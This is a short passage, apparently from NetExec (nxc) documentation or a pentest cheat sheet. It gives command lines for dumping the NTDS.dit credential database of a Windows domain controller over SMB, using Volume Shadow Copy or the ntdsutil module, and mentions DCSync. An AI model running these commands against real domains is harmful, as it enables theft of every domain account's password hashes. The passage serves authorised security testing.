			vss - Uses the Volume Shadow copy Service  
#~ nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
#~ nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled

You can also DCSYNC with the computer account of the DC

There is also the ntdsutil module that will use ntdsutil to dump NTDS.dit and SYSTEM hive and parse them locally with secretsdump.py

nxc smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' -M ntdsutil
